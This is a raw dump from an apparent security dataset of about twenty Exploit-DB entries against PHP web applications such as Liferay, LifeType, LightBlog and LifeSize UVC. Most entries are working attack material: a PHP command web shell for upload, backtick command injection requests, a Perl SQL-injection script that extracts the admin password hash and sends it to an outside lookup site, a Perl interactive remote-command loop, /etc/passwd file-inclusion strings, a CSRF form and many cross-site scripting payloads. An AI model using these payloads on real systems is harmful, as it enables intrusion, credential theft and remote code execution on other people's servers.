deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49440
Description: Life Insurance Management System 1.0 - File Upload RCE (Authenticated)
Type: webapps
Platform: php
Date: 2021-01-18
Author: Aitor Herrero

Exploit:
# Exploit Title: Life Insurance Management System 1.0 - File Upload RCE (Authenticated)
# Date: 15/1/2021
# Exploit Author: Aitor Herrero
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14665/life-insurance-management-system-php-full-source-code.html
# Version: 1.0
# Tested on: Windows /linux /

Login in the application

Go to Clients and you can add new client o modify existent

Click examination botton and upload a test.php with content:

"<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd =
($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>"

Click Upload and intercept with burpsuite

Change the content type to image/png

Go to the path

http://localhost:8080/lims/uploads/test.php?cmd=dir
Exploit-DB #49395
Description: Life Insurance Management System 1.0 - Multiple Stored XSS
Type: webapps
Platform: php
Date: 2021-01-08
Author: Arnav Tripathy

Exploit:
# Exploit Title: Life Insurance Management System 1.0 - Multiple Stored XSS
# Date: 4/1/2021
# Exploit Author: Arnav Tripathy
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14665/life-insurance-management-system-php-full-source-code.html
# Version: 1.0
# Tested on: linux / Lamp

Click on add payment once logged in. Put <script>alert(1)</script> and so on in all parameters. You will notice popup once you navigate to payments.
Exploit-DB #38443
Description: Liferay 6.1.0 CE - Privilege Escalation
Type: webapps
Platform: php
Date: 2015-10-11
Author: Massimo De Luca

Exploit:
# Exploit Title: Liferay 6.1.0 CE GA1 Privilege Escalation
# Date: 18/05/2015
# Exploit Author: Massimo De Luca - mentat.is
# Vendor Homepage: https://www.liferay.com
# Software Link:
http://www.liferay.com/it/community/releases/-/asset_publisher/nSr2/content/id/18060360
# Version: 6.1.0 CE
# Tested on: -

Explanation:
Any logged user can change his "User Group" membership by editing the
parameter _2_userGroupsSearchContainerPrimaryKeys in the HTTP POST REQUEST
generated when updating his profile in the page "Manage my account". This
may lead to privilege escalation.


Proof of Concept:

POST
/group/control_panel/manage?p_auth=J3jbveH7&p_p_id=2&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&doAsGroupId=19&refererPlid=10839&controlPanelCategory=my&_2_struts_action=%2Fmy_account%2Fedit_user
HTTP/1.1
[...]
[...]_2_organizationsSearchContainerPrimaryKeys=&_2_groupsSearchContainerPrimaryKeys=19&_2_userGroupsSearchContainerPrimaryKeys=[NEW
GROUP ID]&_2_groupRolesRoleIds=[...]


For your reference i'm attaching the full request in a separate file.

In order to test the vulnerability on a fresh installation:
- Create two different groups with different roles and permissions (ie:
one with administrator permissions, and a regular user)
-Create two different users,one for each group

Solution:
The vendor is aware of the problem and has fixed the issue in newer
releases


#Massimo De Luca
#mdeluca [at] mentat.is
#Mentat.is
Exploit-DB #31082
Description: Liferay Enterprise Portal 4.3.6 - User-Agent HTTP Header Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-01-31
Author: Tomasz Kuczynski

Exploit:
source: https://www.securityfocus.com/bid/27547/info

Liferay Enterprise Portal is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Liferay Enterprise Portal 4.3.6.

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)<<script>script>alert(&#039;XSS !!!&#039;)<</script>/script>
Exploit-DB #30774
Description: Liferay Portal 4.1 Login Script - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-16
Author: Adrian Pastor

Exploit:
source: https://www.securityfocus.com/bid/26470/info

Liferay Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Liferay Portal 4.1.0 and 4.1.1 are vulnerable; other versions may also be affected.

http://www.example.com/c/portal/login?login=%22%3E%3Cscript%3Edocument.fm1.action=%22http://www.example2.com%22%3C/script%3E%3Ca%20b=%22c
Exploit-DB #30817
Description: Liferay Portal 4.3.1 - Forgot-Password Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-27
Author: Joshua Morin

Exploit:
source: https://www.securityfocus.com/bid/26606/info

Liferay Portal is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Liferay Portal 4.3.1 is vulnerable; other versions may also be affected. 

"><script>alert(&#039;xss&#039;)</script>
<html><b>XSS</b></font></html>
"><iframe>
Exploit-DB #26884
Description: Liferay Portal Enterprise 3.6.1 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15951/info

Liferay Portal Enterprise is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

These issues affect version 3.6.1; earlier versions may also be vulnerable. 

http://www.example.com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=maximized&p_p_mode=view&p_p_col_order=null&p_p_col_pos=2&p_p_col_count=3&_77_struts_action=[XSS]
http://www.example.com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=maximized&p_p_mode=[XSS]
http://www.example/com/web/guest/downloads/portal_ent?p_p_id=77&p_p_action=1&p_p_state=[XSS]
Exploit-DB #32437
Description: LifeSize UVC 1.2.6 - (Authenticated) Remote Code Execution
Type: webapps
Platform: php
Date: 2014-03-22
Author: Brandon Perry

Exploit:
LifeSize UVC 1.2.6 authenticated vulnerabilities
 
RCE as www-data:
 
POST /server-admin/operations/diagnose/ping/ HTTP/1.1
Host: 172.31.16.99
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://172.31.16.99/server-admin/operations/diagnose/ping/
Cookie: csrftoken=Zqr2Z7zw2yNuD7aSGQ8JwtIgcTDOhsHx; sessionid=2872e94ecc65c01161fb19e9f45da579
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 118
 
csrfmiddlewaretoken=Zqr2Z7zw2yNuD7aSGQ8JwtIgcTDOhsHx&source_ip=172.31.16.99&destination_ip=goo`whoami`gle.com
 
The above POST results in a response containing:
<span class="red_txt">ping: unknown host goowww-datagle.com</span><br/>
 
 
 
 
 
RCE as www-data:
 
POST /server-admin/operations/diagnose/trace/ HTTP/1.1
Host: 172.31.16.99
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://172.31.16.99/server-admin/operations/diagnose/trace/
Cookie: csrftoken=Zqr2Z7zw2yNuD7aSGQ8JwtIgcTDOhsHx; sessionid=2872e94ecc65c01161fb19e9f45da579
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
 
csrfmiddlewaretoken=Zqr2Z7zw2yNuD7aSGQ8JwtIgcTDOhsHx&source_ip=172.31.16.99&destination_ip=go`whoami`ogle.com
 
Results in the following error:
gowww-dataogle.com: Name or service not known
 
 
 
 
 
 
RCE as www-data:
 
POST /server-admin/operations/diagnose/dns/ HTTP/1.1
Host: 172.31.16.99
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://172.31.16.99/server-admin/operations/diagnose/dns/
Cookie: csrftoken=Zqr2Z7zw2yNuD7aSGQ8JwtIgcTDOhsHx; sessionid=2872e94ecc65c01161fb19e9f45da579
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
 
csrfmiddlewaretoken=Zqr2Z7zw2yNuD7aSGQ8JwtIgcTDOhsHx&source_ip=172.31.16.99&destination_ip=go`whoami`ogle.com&query_type=ANY
 
Results in the following results:
; <<>> DiG 9.7.0-P1 <<>> -t ANY gowww-dataogle.com -b 172.31.16.99
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 54663
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0
 
;; QUESTION SECTION:
;gowww-dataogle.com. IN ANY
 
;; AUTHORITY SECTION:
com. 890 IN SOA a.gtld-servers.net. nstld.verisign-grs.com.[PII_REDACTED] [PII_REDACTED]00 86400
 
;; Query time: 21 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Mar 21 10:26:21 2014
;; MSG SIZE rcvd: 109
Exploit-DB #27646
Description: LifeType 1.0.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-04-13
Author: Rusydi Hasan

Exploit:
source: https://www.securityfocus.com/bid/17529/info

LifeType is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/[lifetype_dir]/index.php?op=Template&blogId=1&show=[XSS_here]
Exploit-DB #28166
Description: LifeType 1.0.5 - 'index.php?Date' SQL Injection
Type: webapps
Platform: php
Date: 2006-07-05
Author: Alejandro Ramos

Exploit:
source: https://www.securityfocus.com/bid/18835/info

LifeType is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version 1.0.5 is vulnerable to this issue; other versions may also be affected.

#!/usr/bin/perl -w
# LifeType 1.0.5 SQL injection exploit (extract admin username and MD5 password)
# Sun Jul  2 02:19:33 CEST 2006
#
# Bug was found by Alejandro Ramos <aramosf *@* unsec.net>.
# Script by Pedro Andujar <pandujar *@* selfdefense.es> and Alex.
#
# Shoutz: !dSR (www.digitalsec.net) and 514-77 (www.514.es) ppl.
#
# Example:
# lifesucks.pl www.rs-labs.com blog
# [~] LifeType 1.0.5 SQL injection exploit
# [~] Sending string to http://www.rs-labs.com/blog/
# [*] The username for admin account is: romansoft
# [*] The password MD5 of admin account is: 30df196559f6c591e936d7873119f5c9
# [*] The MD5 lookup for this hash is: roman123

use strict;
use LWP::Simple;

if (@ARGV != 2)
{
    print " LifeType 1.0.5 SQL injection exploit \n";
    print " Usage: $0 <host> <path> \n";
    exit 1;
}
my $host = $ARGV[0];
my $path = $ARGV[1];

print "[~] LifeType 1.0.5 SQL injection exploit \n";
print "[~] Sending string to http://$host/$path/ \n";
my $ans_user = get
"http://$host/$path/index.php?op=Default&Date=0'%20UNION%20SELECT%201,user,1,1,1,1,1,1,1,1%20FROM%20lt_users%20WHERE%20id='1'/*&blogId=0"
|| 0;
my $ans_hash = get
"http://$host/$path/index.php?op=Default&Date=0'%20UNION%20SELECT%201,password,1,1,1,1,1,1,1,1%20FROM%20lt_users%20WHERE%20id='1'/*&blogId=0";

if ($ans_user =~ m/Trackbacks&articleId=(\w*)/)
{
    print "[*] The username for admin account is: $1 \n";
}
if ($ans_hash =~ m/Trackbacks&articleId=(\w*)/)
{
    print "[*] The password MD5 for admin account is: $1 \n";
} else {
       die "[-] Exploit failed. \n";
}

my $ans_pass = get "http://www.digitalsec.es/md5.php?h=$1" || 0;

if ($ans_pass =~ m#<br /><b>(.*?)</b># )

{
       print "[*] The MD5 lookup for this hash is: $1 \n";
} else {
    die "[-] Error, Impossible to lookup the MD5 password. \n";
}
Exploit-DB #15981
Description: LifeType 1.2.10 - HTTP Referer Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-12
Author: Saif El-Sherei

Exploit:
# Exploit Title: lifetype 1.2.10 http referer XSS
# Date: 11-1-2010
# Author: Saif El-Sherei
# Software Link: http://lifetype.net/page/downloads
# Version: 1.2.10
# Tested on: firefox 3.0.15

failure to sanitize the http referer header in index.php results in a cross site scripting attack against admins or any user able to view blog statistics. an attacker could use an intercepting proxy or manual requests to perform this attack, the referer is recorder into the database when visiting any section in the index.php (albums, archives,etc....), a user with only the privilege  to login could perform this attack, the issue affects all browsers.

POC:

referer HTTP header: http://127.0.0.1/lifetype-1.2.10/index.php?op=Template&blogId=1&show=archives"><script>alert('XSS')</script>

timeline:

vulnerability dicovered: 11-1-2011
vendor notified: 11-1-2011
Exploit-DB #31740
Description: LifeType 1.2.8 - 'admin.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-05
Author: Khashayar Fereidani

Exploit:
source: https://www.securityfocus.com/bid/29050/info

LifeType is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

LifeType 1.2.8 is vulnerable; other versions may also be affected. 

<html> <head></head> #Vulnerabily discovered by Khashayar Fereidani Or Dr.Crash <body onLoad=javascript:document.form.submit()> <form action="http://www.example.com/lifetype/admin.php?op=editArticleCategories" method="POST" name="form"> <input type="hidden" name="newBlogUserName" value="&#x22;&#x20;[XSS CODE]"> <input type="hidden" name="Add this user" value="Add"> <input type="hidden" name="op" value="addBlogUser"> </form> </body> </html>
Exploit-DB #1570
Description: Light Weight Calendar 1.x - 'date' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-03-09
Author: Hessam-x

Exploit:
#!/usr/bin/perl
#
# Light Weight Calendar
# Exploit by Hessam-x (www.hessamx.net)
#
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /  #
# \___|_  /(____  /\___  >__|_ \\___  >__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
#                                                    #
######################################################
# Name    : Light Weight Calendar                    #
# version : 1.*                                      #
######################################################
use LWP::Simple;

print "-------------------------------------------\n";
print "=          Light Weight Calendar          =\n";
print "=       By Hessam-x  - www.hackerz.ir     =\n";
print "-------------------------------------------\n\n";

      print "Target(www.example.com)\> ";
      chomp($targ = <STDIN>);

      print "path: (/lwc/)\>";
      chomp($path=<STDIN>);

while()
{

     print "command:\>";
     chomp($comd=<STDIN>);
     $expl="index.php?hx=".$comd."&date=passthru%28%24_GET%5Bhx%5D%29";
     $page=get("http://".$targ.$path.$expl) || die "[-] Exploit failed ...\n";

}

# milw0rm.com [2006-03-09]
Exploit-DB #5033
Description: LightBlog 9.5 - 'cp_upload_image.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-02-01
Author: Omni

Exploit:
 LightBlog 9.5 - REMOTE FILE UPLOAD VULNERABILITY
by Omni
1) Infos
---------
Date : 2008-01-30
Product : LightBlog
Version : v 9.5
Vendor : http://www.publicwarehouse.co.uk/
Vendor Status :
2008-01-31 Informed!
2008-01-31 Patch received from vendor!
2008-02-01 Published!


Description : Lightblog provides webmasters who don't have SQL databases with a fully featured blogging system. Using
text files to store data, there's no need for complicated installation procedures or a potentially pricey
hosting bill.
Dork : "Powered by LightBlog" - Powered by LightBlog
Source : omnipresent - omni - http://omni.netsons.org

E-mail : omnipresent[at]NOSPAMemail[dot]it - omni[at]NOSPAMplayhack[dot]
Team : Playhack.net Security


2) Security Issues
-------------------


--- [ Remote File Upload Vulnerability ] ---
===============================================
A remote file upload vulnerability is present in LightBlog version 9.5.
Users without permissions are able to upload any kind of files, also .php; so the attacker can upload their own remote PHP
shell.
The file vulnerable is: cp_upload_image.php, and you can find it under the root directory of the blog uploaded. (shown
in the section PoC).


--- [ PoC ] ---
===============
http://localhost/light/cp_upload_image.php
Just look for your PHP shell, upload it (shell.php) and then use it:
http://localhost/light/images/shell.php


--- [ Patch ] ---
===============
- Edit the source code.
- use CHMOD
- Delete cp_upload_image.php
- Use the vendor patch.

Best Regards,
/Omni

# milw0rm.com [2008-02-01]
Exploit-DB #5140
Description: LightBlog 9.6 - 'Username' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-02-18
Author: muuratsalo

Exploit:
lightblog 9.6 local file inclusion vulnerability

download   http://www.publicwarehouse.co.uk/php_scripts/lightblog.php

author     muuratsalo
contact    muuratsalo[at]gmail.com

exploit 
http://localhost/LightBlog9.6/view_member.php?username=../../../../../../../../../../etc/passwd%00

# milw0rm.com [2008-02-18]
Exploit-DB #6797
Description: LightBlog 9.8 - 'GET' / 'POST' / 'COOKIE' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-21
Author: JosS

Exploit:
# LightBlog 9.8 (GET,POST,COOKIE) Multiple Local File Inclusion Vulnerabilies
# url: http://www.publicwarehouse.co.uk/php_scripts/lightblog.php
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://spanish-hackers.com
# team: Spanish Hackers Team - [SHT]
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.

vuln file: view_member.php
vuln code:
8: if(isset($_GET['username']) and file_exists("./accounts/".$_GET['username'].".php")){
x: ...
24: include("./accounts/{$username_get}.php");
39: }

PoC: GET view_member.php?username=[file]%00
ExP: GET view_member.php?username=../../../../../../../../../../etc/passwd%00

---

vuln file: login.php
vuln code:
18: include("./accounts/".$_POST['username_post'].".php");

PoC: POST login.php?username_post=[file]%00
ExP: POST login.php?username_post=../../../../../../../../../../etc/passwd%00

---

vuln file: check_user.php
vuln code: 
6: if(isset($_COOKIE['Lightblog_username']) and isset($_COOKIE['Lightblog_password'])){

   $username_cookie = $_COOKIE['Lightblog_username'];
   $password_cookie = $_COOKIE['Lightblog_password'];

   if(file_exists("./accounts/{$username_cookie}.php")){
13:include("./accounts/{$username_cookie}.php");

PoC: javascript:document.cookie = "Lightblog_username=[file]%00; path=/"; document.cookie = "Lightblog_password=JosS;
     path=/";
ExP: javascript:document.cookie = "Lightblog_username=../../../../../../../../../../etc/passwd%00; path=/";
     document.cookie = "Lightblog_password=JosS; path=/";

---

and more ...
hack0wn :D

# milw0rm.com [2008-10-21]
Exploit-DB #26885
Description: Lighthouse CMS 1.1 - Search Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15952/info

Lighthouse is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects version 1.1; other versions may also be vulnerable.

NOTE: The vendor disputes this issue, stating that Lighthouse is an application server and is not susceptible to client-side cross-site scripting attacks.

http://www.example.com/?search=[XSS]
Exploit-DB #25320
Description: Lighthouse Development Squirrelcart 1.5.5 - SQL Injection
Type: webapps
Platform: php
Date: 2005-03-29
Author: Diabolic Crab

Exploit:
source: https://www.securityfocus.com/bid/12944/info

Squirrelcart is affected by an SQL injection vulnerability.

This vulnerability could permit remote attackers to pass malicious input to database queries, resulting in modification of query logic or other attacks.

Squirrelcart 1.5.5 and prior versions are vulnerable to this issue. 

http://www.example.com/index.php?crn='SQL_INJECTION&action=show&show_products_mode=cat_click&PHPSESSID=2069dbe1646bdc46e4e78718e76e6d15